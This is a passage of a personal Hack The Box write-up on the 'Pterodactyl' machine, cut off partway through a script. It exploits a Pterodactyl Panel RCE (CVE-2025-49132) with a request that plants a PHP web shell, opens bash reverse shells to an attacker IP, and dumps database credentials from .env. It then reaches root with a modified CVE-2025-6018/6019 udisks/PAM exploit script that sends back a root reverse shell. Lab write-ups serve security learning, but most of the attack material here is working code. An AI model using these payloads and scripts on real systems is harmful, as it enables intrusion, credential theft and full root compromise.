> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-pterodactyl.md).

# HTB - Pterodactyl

## Enumeration and Foothold

### NMAP

```
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 9.6 (protocol 2.0)
80/tcp   open   http       nginx 1.21.5
443/tcp  closed https
8080/tcp closed http-proxy
```

Browsing to port 80 reveals the domain name.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FnBVxMYUdIFVqJ5lG9RPY%2Fimage.png?alt=media&amp;token=e12e56b3-f3b5-4011-bf9a-5d24380b772d" alt=""><figcaption></figcaption></figure>

Add the domain to hosts file.

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4XlcrJINwpRploCrKXfQ%2Fimage.png?alt=media&amp;token=c76b542a-2b60-4e9b-a4b1-e88e39dde1ce" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FI29Y2ajAQGFmOUL9Jong%2Fimage.png?alt=media&amp;token=88d9cae5-9103-4f40-82bc-c2b93b0bc18d" alt=""><figcaption></figcaption></figure>

Another domain leaked, add to hosts.

Browsing to the new domain redirects to same domain pterodactyl.htb

Clicking on the changelogs leaked this&#x20;

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FDLMyzMOoNYyDDGD4Npiq%2Fimage.png?alt=media&amp;token=9593f91d-baeb-4d63-8392-129fd56ea20f" alt=""><figcaption></figcaption></figure>

That said fuzzing for internal subdomain leaked another domain panel.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6UxzzQz6Tpi0o2TMVfXF%2Fimage.png?alt=media&amp;token=2d22ae36-b50e-40b4-b216-1aef0a914c38" alt=""><figcaption></figcaption></figure>

add the new domain to hosts.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1np7wJoIp4QRKk0ZFWHp%2Fimage.png?alt=media&amp;token=d1c7f981-16be-4eab-bac5-aeade6080b7f" alt=""><figcaption></figcaption></figure>

the login panel and the forgot password is not vulnerable for SQL injection after manually testing it.

Also form the change log file, i inferred that the version of pterodactyl as 1.11.10.

i can look for CVE based on the version.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FXCPCCbIl5GH3hT216FLo%2Fimage.png?alt=media&amp;token=438fa888-6699-418f-8619-615138f4eabe" alt=""><figcaption></figcaption></figure>

Vulnerable to unauthenticated RCE.

Using the `/locales/locale.json` with the `locale` and `namespace` query parameters, a malicious actor is able to execute arbitrary code, without being authenticated.

With the ability to execute arbitrary code, this vulnerability can be exploited in an infinite number of ways. It could be used to gain access to the Panel's server, read credentials from the Panel's config (`.env` or otherwise), extract sensitive information from the database (such as user details \[username, email, first and last name, hashed password, ip addresses, etc]), access files of servers managed by the panel, etc.

{% embed url="<https://www.wiz.io/vulnerability-database/cve/cve-2025-49132>" %}

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F2VyPZ9LiD0FyLt1fFBql%2Fimage.png?alt=media&amp;token=1a4abae3-d0c3-4f38-87d8-64c16aa1a112" alt=""><figcaption></figcaption></figure>

endpoint accessible. Next do the following

Construct a GET or POST request to `/locales/locale.json` with the `locale` and/or `namespace` parameters containing a path traversal or code injection payload that exploits the unsanitised input passed to the Laravel translation loader (e.g., using directory traversal sequences or PHP file inclusion via the namespace parameter to load attacker-controlled content).

Database creds leaked

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fv2tGhbD8F8l7vpeYJRKx%2Fimage.png?alt=media&amp;token=71bcb8e7-0eac-4a20-b5c1-9fee9b57f18d" alt=""><figcaption></figcaption></figure>

```bash
{"..\/..\/..\/pterodactyl":{"config\/database":{"default":"mysql","connections":{"mysql":{"driver":"mysql","url":"","host":"127.0.0.1","port":"3306","database":"panel","username":"pterodactyl","password":"PteraPanel","unix_socket":"","charset":"utf8mb4","collation":"utf8mb4_unicode_ci","prefix":"","prefix_indexes":"1","strict":"","timezone":"+00{{00}}","sslmode":"prefer","options":{"1014":"1"}}},"migrations":"migrations","redis":{"client":"predis","options":{"cluster":"redis","prefix":"pterodactyl_database_"},"default":{"scheme":"tcp","path":"\/run\/redis\/redis.sock","host":"127.0.0.1","username":"","password":"","port":"6379","database":"0","context":[]},"sessions":{"scheme":"tcp","path":"\/run\/redis\/redis.sock","host":"127.0.0.1","username":"","password":"","port":"6379","database":"1","context":[]}}}}}
```

That said i can write a webshell and get RCE.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxaRCmMYO9TaFJBA57acf%2Fimage.png?alt=media&amp;token=dcd03b9c-b835-4684-9322-76d14cca88e3" alt=""><figcaption></figcaption></figure>

```bash
GET /locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system($_REQUEST[0]);?>+/tmp/shell.php HTTP/1.1
Host: panel.pterodactyl.htb
Connection: close
```

Trigger the Exploit.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FODWGPzjP1MeRmDhpVFmh%2Fimage.png?alt=media&amp;token=ae6643eb-6830-40ef-a64a-805bd7a9b9d5" alt=""><figcaption></figcaption></figure>

```bash
GET /locales/locale.json?locale=../../../../../tmp&namespace=shell&0=id HTTP/1.1
```

That said i can get reverse shell

```bash
curl -sg --get 'http://panel.pterodactyl.htb/locales/locale.json' \
  --data-urlencode 'locale=../../../../../tmp' \
  --data-urlencode 'namespace=shell' \
  --data-urlencode '0=bash -c "bash -i >& /dev/tcp/10.10.14.49/4444 0>&1"'
```

## Shell as wwwrun

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fv8qbDNGDifnUAIUV6s3K%2Fimage.png?alt=media&amp;token=21711cb4-b4e1-4628-a4f8-17d198789307" alt=""><figcaption></figcaption></figure>

```bash
wwwrun@pterodactyl:/var/www/pterodactyl/database> python3 -c 'import pty;pty.spawn("/bin/bash")'
<ase> python3 -c 'import pty;pty.spawn("/bin/bash")'
wwwrun@pterodactyl:/var/www/pterodactyl/database> export TERM=xterm
export TERM=xterm
wwwrun@pterodactyl:/var/www/pterodactyl/database> 
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FDVRIHxRwIV06m4sAYPS1%2Fimage.png?alt=media&amp;token=8f1ee62b-4e00-4b51-8723-dfa8223bb13f" alt=""><figcaption></figcaption></figure>

earlier found database credentials.

```
wwwrun@pterodactyl:/home/phileasfogg3> catcat /var/www/pterodactyl/.env
cat /var/www/pterodactyl/.env
APP_ENV=production
APP_DEBUG=false
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
APP_THEME=pterodactyl
APP_TIMEZONE=UTC
APP_URL="http://panel.pterodactyl.htb"
APP_LOCALE=en
APP_ENVIRONMENT_ONLY=false

LOG_CHANNEL=daily
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

CACHE_DRIVER=redis
QUEUE_CONNECTION=redis
SESSION_DRIVER=redis

HASHIDS_SALT=pKkOnx0IzJvaUXKWt2PK
HASHIDS_LENGTH=8

MAIL_MAILER=smtp
MAIL_HOST=smtp.example.com
MAIL_PORT=25
MAIL_USERNAME=
MAIL_PASSWORD=
MAIL_ENCRYPTION=tls
MAIL_FROM_ADDRESS=no-reply@example.com
MAIL_FROM_NAME="Pterodactyl Panel"
# You should set this to your domain to prevent it defaulting to 'localhost', causing
# mail servers such as Gmail to reject your mail.
#
# @see: https://github.com/pterodactyl/panel/pull/3110
# MAIL_EHLO_DOMAIN=panel.example.com

APP_SERVICE_AUTHOR="pterodactyl@pterodactyl.htb"
PTERODACTYL_TELEMETRY_ENABLED=false
RECAPTCHA_ENABLED=false

```

### MariaDB access

```sql
wwwrun@pterodactyl:~> mariadb -u pterodactyl -pPteraPanel -h 127.0.0.1 -P 3306 panel
aneladb -u pterodactyl -pPteraPanel -h 127.0.0.1 -P 3306 pa
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 476
Server version: 11.8.3-MariaDB MariaDB package

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [panel]> 

```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FRmrDQ0FkaeFZPfzpNfFH%2Fimage.png?alt=media&amp;token=dfe723e8-916c-474f-85d9-306cde24632d" alt=""><figcaption></figcaption></figure>

found headmonitor hash.

the headmonitor account is not cracked but the phileas hash is cracked.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FC6VEjTri3BKQeI8RW6lV%2Fimage.png?alt=media&amp;token=32bdfa91-1972-45f0-ab55-fdb4b63500d3" alt=""><figcaption></figcaption></figure>

## Shell as Phileas

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F5OwMFkFgb8wSFjjMqVXd%2Fimage.png?alt=media&amp;token=c479b653-ecd5-4391-abad-18b45b340a4d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxB9MICBDY6d3Yxjdkl4y%2Fimage.png?alt=media&amp;token=79773e1d-48f9-4cee-8e81-383f7a8eb53c" alt=""><figcaption></figcaption></figure>

phileas can run any command as root.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fh1zFsPWB34PZYcNAN6EN%2Fimage.png?alt=media&amp;token=df00a81d-1232-47ce-9592-875b5240f2c6" alt=""><figcaption></figcaption></figure>

running su asks for password

it says all but running anything asks for password.

`(ALL) ALL` with `targetpw` is the key detail. That flag means sudo asks for the **target user's password** (root's), not phileasfogg3's. So you need root's actual password to use sudo here.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxL6wugRNk60T6qkqP8Aj%2Fimage.png?alt=media&amp;token=7eda1063-8c67-49c6-8330-b3face559013" alt=""><figcaption></figcaption></figure>

env has a list of phileas mail directory.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FEiePzIax2FadYvtPntTC%2Fimage.png?alt=media&amp;token=a6fced93-d740-4e87-98e4-e4e0c9ca5dca" alt=""><figcaption></figcaption></figure>

Talks about unusual activity on udisks, which is a mail sent from headmonitor.

Looking for CVE's found there is a local privilege escalation vulnerability in the udisks.

{% embed url="<https://github.com/advisories/GHSA-mpgj-hch9-5rvx>" %}

{% embed url="<https://github.com/DesertDemons/CVE-2025-6018-6019.git>" %}

Found the above poc.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FYzprz1HwAUF8YkythQvf%2Fimage.png?alt=media&amp;token=58e58ba5-bffb-4539-bc71-1413acecfaa0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fx8XEZ8KEx9JySfiLXx82%2Fimage.png?alt=media&amp;token=08bf92cf-c779-4dd5-9983-093873ab59d8" alt=""><figcaption></figcaption></figure>

The script requires an **XFS disk image** containing a **SUID‑root copy of the victim’s `/bin/bash`**.\
You **must** create this image on your machine using the **target’s own `bash` binary**  otherwise it will segfault due to glibc mismatches.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FjbvVMfbDjYmPSZJDvvtG%2Fimage.png?alt=media&amp;token=3f0889f4-8355-4325-90a8-6a723c6b2aa8" alt=""><figcaption></figcaption></figure>

**On your attacker machine, download it:**

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F638Ic5aPfQqgx37IEb7x%2Fimage.png?alt=media&amp;token=78e6f6ef-4cb6-4a3d-b1e9-a31b35eaedfc" alt=""><figcaption></figcaption></figure>

**Build the XFS image (as root on your attacker machine):**

```bash
# 1. Create a 300 MB empty file
┌──(root㉿kali)-[/home/ajay]
└─# dd if=/dev/zero of=xfs.img bs=1M count=300
300+0 records in
300+0 records out
314572800 bytes (315 MB, 300 MiB) copied, 1.70266 s, 185 MB/s

# 2. Format as XFS (disable newer features for SUSE 15 kernels)
┌──(root㉿kali)-[/home/ajay]
└─# mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
meta-data=xfs.img                isize=512    agcount=4, agsize=19200 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=1        finobt=1, sparse=1, rmapbt=1
         =                       reflink=1    bigtime=1 inobtcount=1 nrext64=1
         =                       exchange=0   metadir=0
data     =                       bsize=4096   blocks=76800, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0, ftype=1, parent=0
log      =internal log           bsize=4096   blocks=16384, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0
         =                       rgcount=0    rgsize=0 extents
         =                       zoned=0      start=0 reserved=0

# 3. Mount with SUID support
──(root㉿kali)-[/home/ajay]
└─# mkdir -p /tmp/mnt
                                                                                                                    
┌──(root㉿kali)-[/home/ajay]
└─# mount -o loop,suid xfs.img /tmp/mnt

# 4. Copy the victim's bash and set SUID root
──(root㉿kali)-[/home/ajay]
└─# cp bash_victim /tmp/mnt/xpl
                                                                                                                    
┌──(root㉿kali)-[/home/ajay]
└─# chown root:root /tmp/mnt/xpl
                                                                                                                    
┌──(root㉿kali)-[/home/ajay]
└─# chmod 4755 /tmp/mnt/xpl 
                                                                                                                    
┌──(root㉿kali)-[/home/ajay]
└─# ls -la /tmp/mnt/xpl 
-rwsr-xr-x 1 root root 1012656 Aug 12 23:08 /tmp/mnt/xpl
                                                                                                                    
┌──(root㉿kali)-[/home/ajay]
└─# umount /tmp/mnt
                      
                                                                                                                    
┌──(root㉿kali)-[/home/ajay]
└─# gzip xfs.img
                                                                                                                                                   
```

Download the file onto target.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F9LdXlx0Uq8bHom3RTWUy%2Fimage.png?alt=media&amp;token=a0957fc9-eaef-47ad-afe4-a4bac565b0b9" alt=""><figcaption></figcaption></figure>

On the target, decompress:

```bash
phileasfogg3@pterodactyl:> gunzip /tmp/xfs.img.gz
```

Setup PAM bypass

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FzNOao5ATOjFVyT4zXpqV%2Fimage.png?alt=media&amp;token=cab73797-f9a8-4824-9e70-b063ea4322bc" alt=""><figcaption></figcaption></figure>

This creates `~/.pam_environment`.

Now do as the exploit suggests.

log back again as phileas.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F5z7s55axgulXamik2BaH%2Fimage.png?alt=media&amp;token=2e90709a-5b50-44ee-b97e-8d2352e49df5" alt=""><figcaption></figcaption></figure>

now run the exploit.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F8dPSxch0T3gRjDWpqAiI%2Fimage.png?alt=media&amp;token=6d8faba4-97f6-4240-b7fd-6031b8cbe5fe" alt=""><figcaption></figcaption></figure>

## Shell as Root

The poc automatically read the root.txt file and gave the output.

That said i need a reverse shell so, i will poke the script to get reverse shell.

```bash
#!/bin/bash
#
# CVE-2025-6018 + CVE-2025-6019 Combined Exploit (Modified for Reverse Shell)
# =============================================================================
# Author: DesertDemons (modified)
# Reverse shell to 10.10.14.49:5555
# Changes: swapped the command in the race loop and fallback to use
#          /bin/bash -p -i >& /dev/tcp/10.10.14.49/5555 0>&1
#

set -e

# --- CONFIGURATION ---
RHOST="10.10.14.49"
RPORT="5555"
# --------------------

# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m'

banner() {
    echo -e "${CYAN}"
    echo "╔═══════════════════════════════════════════════════════════════╗"
    echo "║         CVE-2025-6018 + CVE-2025-6019 Exploit (rev)          ║"
    echo "║      Reverse shell to $RHOST:$RPORT                          ║"
    echo "╚═══════════════════════════════════════════════════════════════╝"
    echo -e "${NC}"
}

usage() {
    echo -e "${YELLOW}Usage:${NC}"
    echo "  $0 [OPTIONS]"
    echo ""
    echo -e "${YELLOW}Options:${NC}"
    echo "  -c, --check           Check if system is vulnerable"
    echo "  -s, --setup           Setup PAM environment for CVE-2025-6018"
    echo "  -e, --exploit <path>  Exploit CVE-2025-6019 with XFS image"
    echo "  -a, --auto <path>     Full auto exploitation (setup + exploit)"
    echo "  -C, --create-image    Show instructions to create XFS image"
    echo "  -h, --help            Show this help message"
    exit 0
}

log_info()  { echo -e "${BLUE}[*]${NC} $1"; }
log_success(){ echo -e "${GREEN}[+]${NC} $1"; }
log_error() { echo -e "${RED}[-]${NC} $1"; }
log_warning(){ echo -e "${YELLOW}[!]${NC} $1"; }

check_not_root() {
    if [[ $EUID -eq 0 ]]; then
        log_error "This exploit should NOT be run as root!"
        exit 1
    fi
}

check_dependencies() {
    log_info "Checking dependencies..."
    local deps=("udisksctl" "gdbus" "grep" "awk" "file")
    local missing=()
    for dep in "${deps[@]}"; do
        if ! command -v "$dep" &>/dev/null; then
            missing+=("$dep")
        fi
    done
    if [[ ${#missing[@]} -gt 0 ]]; then
        log_error "Missing dependencies: ${missing[*]}"
        exit 1
    fi
    log_success "All dependencies found"
}

check_pam_vulnerability() {
    log_info "Checking PAM configuration (CVE-2025-6018)..."
    if grep -r "pam_env" /etc/pam.d/ &>/dev/null; then
        log_success "pam_env.so found"
    else
        log_warning "pam_env.so not found"
        return 1
    fi
    if grep -r "pam_systemd" /etc/pam.d/ &>/dev/null; then
        log_success "pam_systemd.so found"
    else
        log_warning "pam_systemd.so not found"
        return 1
    fi
    if [[ -f /etc/os-release ]]; then
        source /etc/os-release
        log_info "Detected OS: $PRETTY_NAME"
        if [[ "$ID" == "opensuse-leap" ]] || [[ "$ID" == "sles" ]] || [[ "$ID" == "opensuse" ]]; then
            log_success "Target OS is vulnerable (openSUSE/SLES)"
        else
            log_warning "OS may not be vulnerable (not openSUSE/SLES)"
        fi
    fi
    return 0
}

check_udisks_vulnerability() {
    log_info "Checking udisks2 configuration (CVE-2025-6019)..."
    if command -v udisksctl &>/dev/null; then
        local version=$(udisksctl --version 2>/dev/null || echo "unknown")
        log_info "udisks2 version: $version"
    else
        log_error "udisksctl not found"
        return 1
    fi
    if [[ -f /sbin/mkfs.xfs ]] || command -v mkfs.xfs &>/dev/null; then
        log_success "XFS filesystem support available"
    else
        log_warning "mkfs.xfs not found (not required on target)"
    fi
    local policy_file="/usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy"
    if [[ -f "$policy_file" ]]; then
        if grep -q "allow_active.*yes" "$policy_file" 2>/dev/null; then
            log_success "Polkit allows loop-setup for active users"
        fi
    fi
    return 0
}

check_allow_active() {
    log_info "Checking allow_active status..."
    local status=$(gdbus call --system \
        --dest org.freedesktop.login1 \
        --object-path /org/freedesktop/login1 \
        --method org.freedesktop.login1.Manager.CanReboot 2>/dev/null)
    if [[ "$status" == *"('yes',)"* ]]; then
        log_success "allow_active status: YES"
        echo -e "${GREEN}    You have allow_active privileges!${NC}"
        return 0
    else
        log_warning "allow_active status: NO (got: $status)"
        echo -e "${YELLOW}    You need to setup PAM bypass first (--setup)${NC}"
        return 1
    fi
}

check_session_details() {
    log_info "Checking session details..."
    local session_id=$(loginctl 2>/dev/null | grep "$USER" | head -1 | awk '{print $1}')
    if [[ -n "$session_id" ]]; then
        log_info "Session ID: $session_id"
        local seat=$(loginctl show-session "$session_id" -p Seat 2>/dev/null | cut -d= -f2)
        local active=$(loginctl show-session "$session_id" -p Active 2>/dev/null | cut -d= -f2)
        local type=$(loginctl show-session "$session_id" -p Type 2>/dev/null | cut -d= -f2)
        echo -e "    Seat: ${CYAN}$seat${NC}"
        echo -e "    Active: ${CYAN}$active${NC}"
        echo -e "    Type: ${CYAN}$type${NC}"
        if [[ "$seat" == "seat0" ]] && [[ "$active" == "yes" ]]; then
            log_success "Session is properly configured for exploitation"
            return 0
        else
            log_warning "Session may not have proper allow_active status"
            return 1
        fi
    else
        log_error "Could not determine session ID"
        return 1
    fi
}

full_check() {
    banner
    log_info "Running full vulnerability check..."
    echo ""
    check_dependencies
    echo ""
    check_pam_vulnerability
    echo ""
    check_udisks_vulnerability
    echo ""
    check_allow_active
    echo ""
    check_session_details
    echo ""
    log_info "Vulnerability check complete"
}

setup_pam_bypass() {
    banner
    log_info "Setting up PAM bypass (CVE-2025-6018)..."
    local pam_env_file="$HOME/.pam_environment"
    cat > "$pam_env_file" << 'EOF'
XDG_SEAT=seat0
XDG_VTNR=1
EOF
    if [[ -f "$pam_env_file" ]]; then
        log_success "Created $pam_env_file"
        echo -e "${CYAN}    Contents:${NC}"
        cat "$pam_env_file" | sed 's/^/    /'
    else
        log_error "Failed to create $pam_env_file"
        exit 1
    fi
    echo ""
    log_warning "IMPORTANT: You must now:"
    echo -e "${YELLOW}    1. Exit this SSH session completely${NC}"
    echo -e "${YELLOW}    2. SSH back into the target${NC}"
    echo -e "${YELLOW}    3. Run: su - $USER${NC}"
    echo -e "${YELLOW}    4. Enter your password${NC}"
    echo -e "${YELLOW}    5. Then run this script with --exploit <image_path>${NC}"
    echo ""
    log_info "After reconnecting, verify with: $0 --check"
}

show_create_image_instructions() {
    banner
    echo -e "${CYAN}=== Creating XFS Image with SUID Binary ===${NC}"
    echo ""
    echo -e "${RED}IMPORTANT: You MUST use the victim's /usr/bin/bash, not your local one!${NC}"
    echo -e "${RED}           A bash from a different distro will segfault due to glibc mismatch.${NC}"
    echo ""
    echo -e "${YELLOW}Run these commands on your ATTACKER machine as ROOT:${NC}"
    echo ""
    echo -e "${GREEN}# 1. Get victim's bash binary first${NC}"
    echo "scp user@target:/usr/bin/bash /tmp/bash"
    echo ""
    echo -e "${GREEN}# 2. Create XFS image (300MB minimum)${NC}"
    echo "dd if=/dev/zero of=xfs.img bs=1M count=300"
    echo "mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img"
    echo ""
    echo -e "${GREEN}# 3. Mount with SUID support${NC}"
    echo "mkdir -p /tmp/mnt"
    echo "mount -o loop,suid xfs.img /tmp/mnt"
    echo ""
    echo -e "${GREEN}# 4. Copy bash and set SUID bit${NC}"
    echo "cp /tmp/bash /tmp/mnt/xpl"
    echo "chmod 4755 /tmp/mnt/xpl"
    echo "chown root:root /tmp/mnt/xpl"
    echo ""
    echo -e "${GREEN}# 5. VERIFY - Must show -rwsr-xr-x${NC}"
    echo "ls -la /tmp/mnt/xpl"
    echo ""
    echo -e "${GREEN}# 6. Unmount and transfer${NC}"
    echo "umount /tmp/mnt"
    echo "gzip xfs.img"
    echo "scp xfs.img.gz user@target:/tmp/"
    echo ""
    echo -e "${GREEN}# 7. On target, decompress${NC}"
    echo "gunzip /tmp/xfs.img.gz"
    echo ""
    echo -e "${RED}CRITICAL: The SUID bit MUST be set (-rwsr-xr-x)${NC}"
    echo -e "${RED}          The file MUST be owned by root${NC}"
    echo -e "${RED}          The image MUST be XFS format${NC}"
    echo -e "${RED}          The bash binary MUST be from the victim machine${NC}"
}

exploit() {
    local img_path="$1"
    banner
    log_info "Starting CVE-2025-6019 exploitation (reverse shell to $RHOST:$RPORT)..."
    echo ""

    if [[ -z "$img_path" ]]; then
        log_error "No image path specified!"
        echo "Usage: $0 --exploit /path/to/xfs.img"
        exit 1
    fi
    if [[ ! -f "$img_path" ]]; then
        log_error "Image not found: $img_path"
        exit 1
    fi
    log_success "Image found: $img_path"

    local img_type=$(file "$img_path" 2>/dev/null)
    if [[ "$img_type" != *"XFS"* ]]; then
        log_error "Image is not XFS format!"
        log_error "Detected: $img_type"
        exit 1
    fi
    log_success "Verified XFS filesystem"

    if ! check_allow_active; then
        log_error "You don't have allow_active privileges!"
        log_error "Run --setup first, then reconnect with: su - $USER"
        exit 1
    fi
    echo ""

    log_info "Stopping gvfs-udisks2-volume-monitor..."
    killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null || true

    log_info "Setting up loop device..."
    local loop_output=$(udisksctl loop-setup --file "$img_path" --no-user-interaction 2>&1)
    echo "    $loop_output"
    local loop_dev=$(echo "$loop_output" | grep -oP '/dev/loop\d+' | head -1)
    if [[ -z "$loop_dev" ]]; then
        log_error "Failed to create loop device"
        exit 1
    fi
    local loop_name=$(basename "$loop_dev")
    log_success "Loop device created: $loop_dev"

    local loop_type=$(udisksctl info -b "$loop_dev" 2>/dev/null | grep IdType | awk '{print $2}')
    if [[ "$loop_type" != "xfs" ]]; then
        log_error "Loop device filesystem is not XFS (got: $loop_type)"
        exit 1
    fi
    log_success "Loop device verified as XFS"
    echo ""

    # Reverse shell command (using -p to preserve euid=0)
    REV_CMD="/bin/bash -p -i >& /dev/tcp/$RHOST/$RPORT 0>&1"

    log_info "Starting race condition loop..."
    (
        while true; do
            for d in /tmp/blockdev.*/; do
                if [[ -x "${d}xpl" ]]; then
                    # Execute reverse shell with -p to keep root euid
                    "${d}xpl" -p -c "$REV_CMD" 2>/dev/null && exit 0
                fi
            done
            sleep 0.01
        done
    ) &
    local race_pid=$!
    log_info "Race loop PID: $race_pid"

    sleep 0.5

    log_info "Triggering XFS resize on $loop_name..."
    local resize_output=$(gdbus call --system \
        --dest org.freedesktop.UDisks2 \
        --object-path "/org/freedesktop/UDisks2/block_devices/$loop_name" \
        --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>&1)
    echo "    Resize output: $resize_output"

    # Increase race window
    sleep 5

    kill $race_pid 2>/dev/null
    wait $race_pid 2>/dev/null

    echo ""
    log_info "Checking exploitation results..."

    # Fallback: try to find xpl manually
    for d in /tmp/blockdev.*/; do
        if [[ -x "${d}xpl" ]]; then
            log_success "Found SUID binary: ${d}xpl"
            ls -la "${d}xpl" 2>/dev/null
            echo ""
            log_info "Spawning reverse shell (fallback)..."
            "${d}xpl" -p -c "$REV_CMD"
            exit 0
        fi
    done

    local mount_status=$(mount | grep blockdev)
    if [[ -n "$mount_status" ]]; then
        log_info "Current blockdev mounts:"
        echo "$mount_status" | sed 's/^/    /'
    fi

    log_warning "Exploitation may have failed or race condition was missed"
    log_info "Try running the exploit again"
}

auto_exploit() {
    local img_path="$1"
    banner
    log_info "Starting full auto exploitation..."
    echo ""
    if ! check_allow_active 2>/dev/null; then
        log_warning "allow_active not set, running setup..."
        setup_pam_bypass
        exit 0
    fi
    exploit "$img_path"
}

main() {
    if [[ $# -eq 0 ]]; then
        banner
        usage
    fi
    check_not_root
    case "$1" in
        -c|--check)
            full_check
            ;;
        -s|--setup)
            setup_pam_bypass
            ;;
        -e|--exploit)
            if [[ -z "$2" ]]; then
                log_error "Please specify image path: --exploit /path/to/xfs.img"
                exit 1
            fi
            exploit "$2"
            ;;
        -a|--auto)
